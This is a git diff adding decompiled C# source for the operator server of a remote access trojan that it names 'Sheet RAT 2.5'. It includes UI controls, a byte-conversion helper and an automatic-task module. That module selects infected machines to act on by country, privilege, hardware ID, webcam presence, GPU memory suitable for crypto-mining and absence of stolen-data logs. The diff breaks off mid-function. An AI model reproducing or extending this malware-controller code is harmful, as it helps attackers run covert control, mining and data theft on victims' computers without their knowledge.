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 + + \ No newline at end of file diff --git a/Server/Server/Forms/Message.cs b/Server/Server/Forms/Message.cs new file mode 100644 index 0000000..1c7c5d8 --- /dev/null +++ b/Server/Server/Forms/Message.cs @@ -0,0 +1,90 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.Message +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class Message : UserControl +{ + private IContainer components; + public Label ChatText; + public PictureBox Avatar; + + public Message() + { + this.InitializeComponent(); + this.Resize += new EventHandler(this.Resiz); + } + + private void Resiz(object sender, EventArgs e) + { + this.ChatText.MaximumSize = new Size(this.Width - 55, 0); + if (this.ChatText.Height <= 60) + return; + this.Height = this.ChatText.Height; + } + + private void Message_Load(object sender, EventArgs e) + { + this.BackColor = Customs.customs.ThemeToColor(); + this.ChatText.BackColor = Customs.customs.ThemeToColor(); + this.ChatText.ForeColor = Customs.customs.StyleToColor(); + this.ChatText.MaximumSize = new Size(this.Width - 55, 0); + if (this.ChatText.Height <= 60) + return; + this.Height = this.ChatText.Height; + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.Avatar = new PictureBox(); + this.ChatText = new Label(); + ((ISupportInitialize) this.Avatar).BeginInit(); + this.SuspendLayout(); + this.Avatar.Location = new Point(0, 0); + this.Avatar.Name = "Avatar"; + this.Avatar.Size = new Size(50, 50); + this.Avatar.SizeMode = PictureBoxSizeMode.StretchImage; + this.Avatar.TabIndex = 1; + this.Avatar.TabStop = false; + this.ChatText.AutoSize = true; + this.ChatText.BackColor = Color.FromArgb(17, 17, 17); + this.ChatText.Font = new Font("Nirmala UI", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + this.ChatText.ForeColor = Color.Aqua; + this.ChatText.Location = new Point(52, 0); + this.ChatText.MaximumSize = new Size(400, 0); + this.ChatText.Name = "ChatText"; + this.ChatText.Size = new Size(36, 21); + this.ChatText.TabIndex = 2; + this.ChatText.Text = "Text"; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.BackColor = Color.FromArgb(17, 17, 17); + this.Controls.Add((Control) this.ChatText); + this.Controls.Add((Control) this.Avatar); + this.Name = nameof (Message); + this.Size = new Size(450, 60); + this.Load += new EventHandler(this.Message_Load); + ((ISupportInitialize) this.Avatar).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/Message.resx b/Server/Server/Forms/Message.resx new file mode 100644 index 0000000..c7e0d4b --- /dev/null +++ b/Server/Server/Forms/Message.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Server/Server/Helper/AeroListView.cs b/Server/Server/Helper/AeroListView.cs new file mode 100644 index 0000000..4b7141e --- /dev/null +++ b/Server/Server/Helper/AeroListView.cs @@ -0,0 +1,55 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.AeroListView +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Collections; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper { + +internal class AeroListView : ListView +{ + private const uint WM_CHANGEUISTATE = 295; + private const short UIS_SET = 1; + private const short UISF_HIDEFOCUS = 1; + private readonly IntPtr _removeDots = new IntPtr(AeroListView.MakeWin32Long((short) 1, (short) 1)); + + public static int MakeWin32Long(short wLow, short wHigh) + { + return (int) wLow << 16 /*0x10*/ | (int) wHigh; + } + + private ListViewColumnSorter LvwColumnSorter { get; set; } + + public AeroListView() + { + this.SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); + this.LvwColumnSorter = new ListViewColumnSorter(); + this.ListViewItemSorter = (IComparer) this.LvwColumnSorter; + this.View = View.Details; + this.FullRowSelect = true; + } + + protected override void OnColumnClick(ColumnClickEventArgs e) + { + base.OnColumnClick(e); + if (e.Column == this.LvwColumnSorter.SortColumn) + { + this.LvwColumnSorter.Order = this.LvwColumnSorter.Order == SortOrder.Ascending ? SortOrder.Descending : SortOrder.Ascending; + } + else + { + this.LvwColumnSorter.SortColumn = e.Column; + this.LvwColumnSorter.Order = SortOrder.Ascending; + } + if (this.VirtualMode) + return; + this.Sort(); + } +} +} diff --git a/Server/Server/Helper/ByteConverter.cs b/Server/Server/Helper/ByteConverter.cs new file mode 100644 index 0000000..52824a9 --- /dev/null +++ b/Server/Server/Helper/ByteConverter.cs @@ -0,0 +1,102 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.ByteConverter +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Text; + +//#nullable disable +namespace Server.Helper { + +public class ByteConverter +{ + private static byte NULL_BYTE; + + public static byte[] GetBytes(int value) => BitConverter.GetBytes(value); + + public static byte[] GetBytes(long value) => BitConverter.GetBytes(value); + + public static byte[] GetBytes(uint value) => BitConverter.GetBytes(value); + + public static byte[] GetBytes(ulong value) => BitConverter.GetBytes(value); + + public static byte[] GetBytes(string value) => ByteConverter.StringToBytes(value); + + public static byte[] GetBytes(string[] value) => ByteConverter.StringArrayToBytes(value); + + public static int ToInt32(byte[] bytes) => BitConverter.ToInt32(bytes, 0); + + public static long ToInt64(byte[] bytes) => BitConverter.ToInt64(bytes, 0); + + public static uint ToUInt32(byte[] bytes) => BitConverter.ToUInt32(bytes, 0); + + public static ulong ToUInt64(byte[] bytes) => BitConverter.ToUInt64(bytes, 0); + + public static string ToString(byte[] bytes) => ByteConverter.BytesToString(bytes); + + public static string[] ToStringArray(byte[] bytes) => ByteConverter.BytesToStringArray(bytes); + + private static byte[] GetNullBytes() + { + return new byte[2] + { + ByteConverter.NULL_BYTE, + ByteConverter.NULL_BYTE + }; + } + + private static byte[] StringToBytes(string value) + { + byte[] dst = new byte[value.Length * 2]; + Buffer.BlockCopy((Array) value.ToCharArray(), 0, (Array) dst, 0, dst.Length); + return dst; + } + + private static byte[] StringArrayToBytes(string[] strings) + { + List byteList = new List(); + foreach (string str in strings) + { + byteList.AddRange((IEnumerable) ByteConverter.StringToBytes(str)); + byteList.AddRange((IEnumerable) ByteConverter.GetNullBytes()); + } + return byteList.ToArray(); + } + + private static string BytesToString(byte[] bytes) + { + char[] dst = new char[(int) Math.Ceiling((double) bytes.Length / 2.0)]; + Buffer.BlockCopy((Array) bytes, 0, (Array) dst, 0, bytes.Length); + return new string(dst); + } + + private static string[] BytesToStringArray(byte[] bytes) + { + List stringList = new List(); + int index1 = 0; + StringBuilder stringBuilder = new StringBuilder(bytes.Length); + while (index1 < bytes.Length) + { + for (int index2 = 0; index1 < bytes.Length && index2 < 3; ++index1) + { + if ((int) bytes[index1] == (int) ByteConverter.NULL_BYTE) + { + ++index2; + } + else + { + stringBuilder.Append(Convert.ToChar(bytes[index1])); + index2 = 0; + } + } + stringList.Add(stringBuilder.ToString()); + stringBuilder.Clear(); + } + return stringList.ToArray(); + } +} +} diff --git a/Server/Server/Helper/Configs/ActiveWindow.cs b/Server/Server/Helper/Configs/ActiveWindow.cs new file mode 100644 index 0000000..6633f43 --- /dev/null +++ b/Server/Server/Helper/Configs/ActiveWindow.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.ActiveWindow +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class ActiveWindow +{ + public string str; +} +} diff --git a/Server/Server/Helper/Configs/AutoTaskM.cs b/Server/Server/Helper/Configs/AutoTaskM.cs new file mode 100644 index 0000000..87d6589 --- /dev/null +++ b/Server/Server/Helper/Configs/AutoTaskM.cs @@ -0,0 +1,327 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.AutoTaskM +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Newtonsoft.Json; +using Server.Connection; +using System; +using System.Windows.Forms; +using System.Collections; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper.Configs { + +public class AutoTaskM +{ + public static DataAuto[] cash; + public static string PathData = "AutoTasks.json"; + + public static void StartOnline(Clients client, DataAuto task, bool newclinet) + { + try + { + bool flag1 = false; + switch (task.Trigger) + { + case EnumsAuto.trigger.ActiveWindow: + string str1 = JsonConvert.DeserializeObject(task.helperTrigger).str; + char[] chArray1 = new char[1]{ ',' }; + foreach (string str2 in str1.Split(chArray1)) + { + if (((string) client.Item.Cells[22].Value).ToLower().Contains(str2.ToLower())) + flag1 = true; + } + break; + case EnumsAuto.trigger.Group: + Group group1 = JsonConvert.DeserializeObject(task.helperTrigger); + if ((string) client.Item.Cells[2].Value == group1.str) + { + flag1 = true; + break; + } + break; + case EnumsAuto.trigger.Country: + Country country = JsonConvert.DeserializeObject(task.helperTrigger); + if ((string) client.Item.Cells[3].Value == country.str) + { + flag1 = true; + break; + } + break; + case EnumsAuto.trigger.Privilege: + if (JsonConvert.DeserializeObject(task.helperTrigger).enable) + { + if ((string) client.Item.Cells[19].Value == "Admin" || (string) client.Item.Cells[19].Value == "System") + { + flag1 = true; + break; + } + break; + } + if ((string) client.Item.Cells[19].Value == "User") + { + flag1 = true; + break; + } + break; + case EnumsAuto.trigger.NewClient: + flag1 = newclinet; + break; + case EnumsAuto.trigger.AllClient: + flag1 = true; + break; + case EnumsAuto.trigger.Hwid: + Hwid hwid = JsonConvert.DeserializeObject(task.helperTrigger); + if ((string) client.Item.Cells[5].Value == hwid.str) + { + flag1 = true; + break; + } + break; + case EnumsAuto.trigger.GpuForMine: + GpuForMine gpuForMine = JsonConvert.DeserializeObject(task.helperTrigger); + bool flag2 = false; + string str3 = (string) client.Item.Cells[13].Value; + char[] chArray2 = new char[1]{ ',' }; + foreach (string str4 in str3.Split(chArray2)) + { + if (Convert.ToInt32(str4.Replace("GB", "")) >= 3) + flag2 = true; + } + if (gpuForMine.enable) + { + if (flag2) + { + flag1 = true; + break; + } + break; + } + if (!flag2) + { + flag1 = true; + break; + } + break; + case EnumsAuto.trigger.CameraTrue: + if (JsonConvert.DeserializeObject(task.helperTrigger).enable) + { + if ((string) client.Item.Cells[9].Value != "false") + { + flag1 = true; + break; + } + break; + } + if ((string) client.Item.Cells[9].Value == "false") + { + flag1 = true; + break; + } + break; + case EnumsAuto.trigger.NotLogs: + flag1 = true; + if (Directory.Exists(Path.Combine("Users", client.ID))) + { + string[] directories = Directory.GetDirectories(Path.Combine("Users", client.ID)); + if (directories.Length != 0) + { + foreach (string str5 in directories) + { + if (str5.Contains("Log")) + { + flag1 = false; + break; + } + } + break; + } + break; + } + break; + case EnumsAuto.trigger.NewClientGroup: + if (newclinet) + { + Group group2 = JsonConvert.DeserializeObject(task.helperTrigger); + if ((string) client.Item.Cells[2].Value == group2.str) + { + flag1 = true; + break; + } + break; + } + break; + case EnumsAuto.trigger.NotMapBd: + if (Map.search(client.ID) == null) + { + flag1 = true; + break; + } + break; + } + if (!flag1) + return; + AutoTaskM.StartAction(client, task); + } + catch (Exception ex) + { + CustomConsole.WriteLine(CustomConsole.Title.Error, "AutoTask: " + ex.ToString()); + } + } + + public static void StartTriggerNotTask(Clients client, bool refresh, bool newclient) + { + foreach (DataAuto task in AutoTaskM.GetTask()) + { + if (!refresh || task.Trigger == EnumsAuto.trigger.ActiveWindow) + AutoTaskM.StartOnline(client, task, newclient); + } + } + + public static void StartTrigger(Clients client, bool refresh, bool newclient) + { + Task.Run((Action) (() => AutoTaskM.StartTriggerNotTask(client, refresh, newclient))); + } + + public static void StartAction(Clients client, DataAuto auto) + { + if (auto.onestart && auto.doneClient.Contains(client.ID)) + return; + switch (auto.Action) + { + case EnumsAuto.action.Metka: + Metka metka = 